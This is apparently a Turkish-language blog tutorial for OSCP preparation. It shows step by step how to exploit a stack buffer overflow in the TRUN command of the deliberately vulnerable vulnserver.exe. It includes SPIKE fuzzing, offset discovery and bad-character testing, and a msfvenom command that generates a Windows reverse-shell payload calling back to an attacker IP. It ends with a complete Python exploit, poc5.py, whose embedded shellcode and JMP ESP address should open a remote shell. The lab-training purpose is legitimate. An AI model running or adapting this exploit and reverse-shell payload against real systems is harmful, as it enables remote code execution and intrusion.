Stack Based Buffer Overflow

Nuri Yavuz
8 min readFeb 16, 2021

--

Bu yazımda overflow zafiyeti olan vulnserver.exe üzerinde exploit kodu’nun geliştirilmesi hedeflenmiştir,OSCP ye gireceklerinde karşılaşacağı BoF makinesinde başarılı olması da muhtemel.

Vulnserver, defaultta 9999 numaralı porttaki client bağlantılarını dinleyen ve kullanıcının çeşitli istismar edilebilir overflow zafiyetlerine karşı savunmasız olan Windows tabanlı TCP sunucusudur.

Bu yazılım, esas olarak, overflow hatalarının nasıl bulunacağını ve kullanılacağını öğrenmek için bir araç olarak tasarlanmıştır

Başlayalım:

Fuzzing:

vulnserver.exe yi kurban bilgisayarda çalıştıralım ve attacker bilgisayardan nc ile bir bağlantı sağlayalım.

Daha sonra programın bize sunduğu komutlardan biri olan ve kullanacağımız diğer komutları görmemizi sağlayan HELP komutunu girelim,fuzz edebileceğimiz komutları aşağıdaki SS’teki gibidir.

spike.spk

s_readline();
s_string("TRUN ");
s_string_variable("COMMAND");

generic_send_tcp 192.168.1.43 9999 spike.spk 0 0

Yukarıcaki komut ile 192.168.1.43 ip’li makineni 9999.portundan hizmet veren vulnserver.exe’nin TRUN komutu fuzzing işlmine tabii tutulacak.

Attacker tarafından fuzzing ederken networkte giden-gelen paketleri wireshark ile gözlemleyerek crash ettiren paketi bulabiliriz.

Fuzzing uygulamadan kaynak kod incelemesi ile zafiyetin tespiti :

Kaynak kod :https://github.com/stephenbradshaw/vulnserver/blob/master/vulnserver.c

Stack tabanlı buffer overflow’a sebep olan kısım aşağısı;

void Function3(char *Input) 
{
char Buffer2S[2000];
strcpy(Buffer2S, Input); //overflow noktası
}

Peki neden yukarıdaki Fonksiyon3( ) ‘te overflow a neden oluyor ?

Açıklayalım :

Öyleyse programın akışını Function3() ‘ e yönlendirmemiz gerekiyor , ihtiyacımız olan şey programın akışını runtime’da buraya nasıl yönlendiririm bunu düşünmek.

else if (strncmp(RecvBuf, "TRUN ", 5) == 0) 
{
char *TrunBuf = malloc(3000);
memset(TrunBuf, 0, 3000);
for (i = 5; i < RecvBufLen; i++)
{
if ((char)RecvBuf[i] == '.')
{
strncpy(TrunBuf, RecvBuf, 3000);
Function3(TrunBuf);


break;
}
}
memset(TrunBuf, 0, 3000);
SendResult = send( Client, "TRUN COMPLETE\\n", 14, 0 );

}
void Function3(char *Input)
{
char Buffer2S[2000];
strcpy(Buffer2S, Input); // overflow noktası
}

TRUN /.:/

TRUN komutu , TRUN /.:/ kullanımı ile overlow’a (taşmaya) neden oluyor.

TRUN komutu ile taşmaya sebebiyet vereceğini düşündüğüm kadar karakter (byte) verirsem eğer programın overflowdan (taşmadan ) dolayı crash olacağını göreceğim.Başlangıçta 5050 byte ile fuzz edeceğim,oldukça makul.10000 byte ile başlayıp , 10k — 5k — 2.5k — 1.25k — 750–375 … şeklinde de giderek en kısa yoldan crash eden byte sayısı bulunabilirdi.

5050 byte ile crash edebilecek miyiz aşağıdaki python scripti ile bunu görelim.

poc1.py

#!/usr/bin/pythonimport socket
import os
import sys
host="192.168.1.37"
port=9999
buffer = "TRUN /.:/" + "A" * 5050expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

OVERFLOW İLE PROGRAMI CRASH EDECEK SOCKET BAĞLANTISINI GÖNDERMEDEN ÖNCE :

BAĞLANTI SONRASI PROGRAMIN CRASH OLUŞU :

5050 adet “A” karakteri yolladık ve bu yollama işlemi sonrasında kurban bilgisayarın ram’indeki stack segmentinde bulunan vulnserver.exe için ayrılmış bellek alanındaki buffer kısmından başlayıp asla gitmemesi gereken eip registerına kadar yazdık (bir kontrol yapılmadığı için). EIP registerinın (extended intruction pointer) üzerine yazmak demek programı manipüle edebilmek demek.Programını akışını değiştirebilmek demek.

Bizim socket bağlantısı sonrası , socket üzerinden gönderilen, send edilen , buffer = “TRUN /.:/” + “A” * 5050 , buffer adındaki string, kurban bilgisayarın ram’inin stack segmentindeki buffer bölümünden başlanılıp eip e kadar yazdığını biliyoruz. Ne demek istediğim. aşağıdaki görsellerden anlayacaksınız.

(Görselin kaynağı : https://www.youtube.com/watch?v=1S0aBV-Waeo)

Yukarıdaki resimdeki return deyimi , fonksiyondan çıktıktan sonra o na verilen argümanla birlikte Program Counter’ın fonksiyondan çıktıktan sonra main() de neredeyse oradan devam eder yani gideceği adresi bilir , bu adres stackte tutulur peki fonksiyondan çıktıktan sonra ben main()’de bir sonraki statement için kaldığı yerden devam ettirmeyip , gideceği adresi değiştiremez miyim? Değiştirebilirim çünkü stackte overflow var , Program Counter ‘ın tuttuğu adres bilgisi stack’te ve ben eip(extended instruction pointer) a kendi yazdığım malicious code(shell code)’un adresini versem bana engel olabilecek donanımsal ya da yazılımsal bir engel var mı ? yok !

Yukarıda bahsettiğim olayla basit bir görselle anlatmaya çalıştım;

Özetle: eip derki; bana bir adres ver nereyi verirsen ben oraya giderim. Heee eğer olurda verdiğin adrese erişimim yok veyahutta öyle bir adres yoksa segmentation fault almana sebep olurum haberin olsun der

Öyleyse burada şunu kendimize sormalıyız,

Ben eip e kaç byte sonra yazmış olurum,tam olarak eip’e kaçıncı byte’ta yazarım.Bunun için matematiksel örüntü temelli olduğunu düşündüğüm 2 adet metasploit aracını sırayla kullanacağız.

pattern_create.rb ve pattern_offset.rb çalışma prensibi aşağıdaki şekilde sanırım,sanırım diyorum ama kuvvetle muhtemel bu şekilde çalışıyor.

pattern_create.rb ile bir ötüntü yaratacağız,

pattern_offset.rb ile yarattığımız örüntü modeli ile seçtiğimiz herhangi bir 4 bytlık veriyi kullanarak (bizim için bu şey adres) örüntünün kaçıncı byte’ında olduğunu anlayacağız.

Mesela örneğin ;

abcd efgh ijkl mnop böyle bir örüntü yarattık (pattern_create.rb kısmı)

ijkl veriyi girdik (pattern_offset.rb kısmı)

4 + 4 = 8

ijkl → 9.bytetan itibaren başlıyor, ( i=9.byte j=10.byte k=11.byte l=12.byte )

Hadi şimdi pattern_create.rb ile yine 6000 karakterli yani 6000 bytelık bir örüntü yaratalım ve bu sefer “A” karakterlerini değil , bu oluşturduğumuz örüntüyü yollayalım böylece eip yazdığı 4 byte’lık değeri örüntünün hangi byte’ındayazdığını pattern_offset.rb ile tespit edeceğiz.

Yukarıda oluşturduğum örüntü byteları , prgramı crash etmemizi sağlayan poc1.py içindeki buffer değişkenine atayalım.

2. scriptimiz poc2.py aşağıdadır.

poc2.py

#!/usr/bin/python

import socket
import os
import sys

host="192.168.1.37"
port=9999

#buffer = "TRUN /.:/" + "A" * 5050
buffer = "TRUN /.:/" + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0>

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

poc2.py hazır , şimdi kurban makinede zafiyetli fonksiyon içeren ve zafiyetli program olan vulnserver.exe yi immunity debugger a atıp runtime da debug edelim.

Amacımız eip e , oluşturduğumuz 6000 byte’lık örüntüdeki hangi 4 byte’lık verinin gelmiş olacağı.

win7 kurban bilgisayarda vulnserver.exe yi çalıştırdım (vulnserver.exe runtime’da) ve şimdi de immunity debuggera attach edeceğim.

İmmunity debuggerda attach edilen vulnserver.exe yi run ettikten sonra :

Yukarıdaki ss’te eip’in değeri : 76F56C04 adresini göstermekte.

Şimdi programı oluşturduğumuz 6000 adet alfanumerik karakterin olduğu poc2.py ile crash edelim,bakalım eip e ne yazacak.

EIP ‘ e pattern_create.rb -l 6000 ile oluşturduğumuz 6000 adet alfanumerik karakter içerisinden 386F4337 değeri yazılmış.

Şimdi 386F4337 ifadesi örüntünün kaçıncı karakterine geliyor pattern_offset.rb ile tespit edelim.

Yukarıdan anladığımız ; demekki 2003 byte’tan sonrasını eip’ e yazıyor ozaman bunu bir test edelim.

2003 tane “A” yazalım daha sonra ascii “B” anlamında (ascii encoding — decoding “B”=hex 42)

basalım.Beklentimiz EIP’te 42 yi görmek.

poc3.py

#!/usr/bin/python

import socket
import os
import sys

host="192.168.1.37"
port=9999

buffer = "TRUN /.:/" + "A" * 2003 + "\x42\x42\x42\x42"

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

vulnserver.exe yi tekrar başlatıp tekrar immunity debugger a attach edip tekrar run edelim.

Daha sonra poc3.py yi çalıştırıp immunity debugger’da eip e yazılan değeri gözlemleyelim.

Beklediğimiz gibi 42424242 eip registeri üzerine yazıldı.

Buraya kadar crash ederek ile eip’e yazdığımızı gördük , örüntülü karakter setimiz vasıtasıyla eip’e kaç byte sonrasında yazdığımızı da gördük şimdiki hedefimiz, bad char’sız bir shell code üretip , eip i ürettiğimiz malicious code(shell code)’un adresine yönlendirmek böylece elimizde bir komut satırı olmasını sağlayacağız.

Buffer’da stringi sonlandıran karakterlere bad char denilmekte.Bu karakterlerin bufferda bulunmaması gerekir , bunlar işimize engel olan karakterlerdir bunların tespit edilip msfconsole ile oluşturacağımız shellcode içerisinde olmaması için -b parametresiyle bu tespit edilen badcharlar belirtilir ve shellcode oluşturulurken atılır.

En meşakatli yere geldik, bad char ayıklama :

Bad Chars:

bad_chars=(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

Şimdi bu bad charları immunity debuggerda tespit edelim.

poc4.py

#!/usr/bin/python

import socket
import os
import sys

host="192.168.1.37"
port=9999

chars=(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = "TRUN /.:/" + "A" * 2003 + "\x42\x42\x42\x42" + chars

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

00 haricinde haricinde hepsi görünüyor.Öyleyse tek badchar’ımız “\x00” dır !

Shell code’umuzu oluşturuken — b “00” parametresiyle shell code’da olmamasını sağlayacağız.

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.53 lport=4444 -b “\x00” -f python

komutu ile shell kodumuze generate edelim.

lhost : saldırgan ip’si

lport : saldırganın reverse shell almak için dinlediği port

-p : payload

-b : bad char

-f : python formatında olsun (generate edilen shell codun saklandığı değişken tipi vs. için)

Peki shell kodumuzu yarattık okey,socket bağlantısıyla yollayacağız bunu o da okey.Fakat EIP e buradaki oluşturduğumuz shell code’un adresini vereceğiz ama o adres neresi ve o adresi nasıl bulacağız?

O adres neresinin cevapı esp !

EIP’e ESP’nin adresini vereceğiz !

Socket bağlantısı ile vulnserver.exe stack’ine yollanacak verinin sırası aşağıdaki buffer değişkinindeki gibidir;

buffer = "TRUN /.:/" + "A" * 2003 + esp_adresi + "\x90" * 16 +  shell_code

Peki esp adresini nasıl bulacağız ?

Bu işlemi immunity debugger’daki yer alan eklenti sayesinde aşağıdaki komutla bulacağız;

!mona jmp -r ESP

ESP adresimiz cpu’nuza bağlı olarak değişir benimkisi little endian ve bu yüzden byte’ların sondan okunacağı için ters çevirme işlemi yapmalıyım.Aşağıdaki gibi;

0x625011AF yi payload’a eklerken şu şekilde ekleme yapıyorum;

“\xAF\x11\x50\x62”

buffer = "TRUN /.:/" + "A" * 2003 + esp_adresi + "\x90" * 16 +  shell_code

ESP’yi yerine koyduğumuzda;

buffer = "TRUN /.:/" + "A" * 2003 + "\xAF\x11\x50\x62" + "\x90" * 16 +  shell_code

Her şey hazır payloadımızı tamamlayıp ters edelim.

poc5.py

#!/usr/bin/python

import socket
import os
import sys

host="192.168.1.37"
port=9999

buf = b""
buf += b"\xbf\x22\xca\xe1\x95\xda\xcf\xd9\x74\x24\xf4\x5b\x31"
buf += b"\xc9\xb1\x52\x31\x7b\x12\x83\xeb\xfc\x03\x59\xc4\x03"
buf += b"\x60\x61\x30\x41\x8b\x99\xc1\x26\x05\x7c\xf0\x66\x71"
buf += b"\xf5\xa3\x56\xf1\x5b\x48\x1c\x57\x4f\xdb\x50\x70\x60"
buf += b"\x6c\xde\xa6\x4f\x6d\x73\x9a\xce\xed\x8e\xcf\x30\xcf"
buf += b"\x40\x02\x31\x08\xbc\xef\x63\xc1\xca\x42\x93\x66\x86"
buf += b"\x5e\x18\x34\x06\xe7\xfd\x8d\x29\xc6\x50\x85\x73\xc8"
buf += b"\x53\x4a\x08\x41\x4b\x8f\x35\x1b\xe0\x7b\xc1\x9a\x20"
buf += b"\xb2\x2a\x30\x0d\x7a\xd9\x48\x4a\xbd\x02\x3f\xa2\xbd"
buf += b"\xbf\x38\x71\xbf\x1b\xcc\x61\x67\xef\x76\x4d\x99\x3c"
buf += b"\xe0\x06\x95\x89\x66\x40\xba\x0c\xaa\xfb\xc6\x85\x4d"
buf += b"\x2b\x4f\xdd\x69\xef\x0b\x85\x10\xb6\xf1\x68\x2c\xa8"
buf += b"\x59\xd4\x88\xa3\x74\x01\xa1\xee\x10\xe6\x88\x10\xe1"
buf += b"\x60\x9a\x63\xd3\x2f\x30\xeb\x5f\xa7\x9e\xec\xa0\x92"
buf += b"\x67\x62\x5f\x1d\x98\xab\xa4\x49\xc8\xc3\x0d\xf2\x83"
buf += b"\x13\xb1\x27\x03\x43\x1d\x98\xe4\x33\xdd\x48\x8d\x59"
buf += b"\xd2\xb7\xad\x62\x38\xd0\x44\x99\xab\x1f\x30\xa0\x1e"
buf += b"\xc8\x43\xa2\x71\x54\xcd\x44\x1b\x74\x9b\xdf\xb4\xed"
buf += b"\x86\xab\x25\xf1\x1c\xd6\x66\x79\x93\x27\x28\x8a\xde"
buf += b"\x3b\xdd\x7a\x95\x61\x48\x84\x03\x0d\x16\x17\xc8\xcd"
buf += b"\x51\x04\x47\x9a\x36\xfa\x9e\x4e\xab\xa5\x08\x6c\x36"
buf += b"\x33\x72\x34\xed\x80\x7d\xb5\x60\xbc\x59\xa5\xbc\x3d"
buf += b"\xe6\x91\x10\x68\xb0\x4f\xd7\xc2\x72\x39\x81\xb9\xdc"
buf += b"\xad\x54\xf2\xde\xab\x58\xdf\xa8\x53\xe8\xb6\xec\x6c"
buf += b"\xc5\x5e\xf9\x15\x3b\xff\x06\xcc\xff\x0f\x4d\x4c\xa9"
buf += b"\x87\x08\x05\xeb\xc5\xaa\xf0\x28\xf0\x28\xf0\xd0\x07"
buf += b"\x30\x71\xd4\x4c\xf6\x6a\xa4\xdd\x93\x8c\x1b\xdd\xb1"



buffer = "TRUN /.:/" + "A" * 2003 + "\xAF\x11\x50\x62" + "\x90"*16 + buf

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

poc5.py tamamlanmış exploit kodu çalıştırmadan 4444 numarılı portu dinlemeye alıyorum.

Son aşamada poc5.py exploit kodunu çalıştırıyorum

Beklentim shell’in gelmesi…

--

--

Nuri Yavuz
Nuri Yavuz

Written by Nuri Yavuz

“No effect is before the cause” in the same time “Cause doesn’t necessarily come before effect”

No responses yet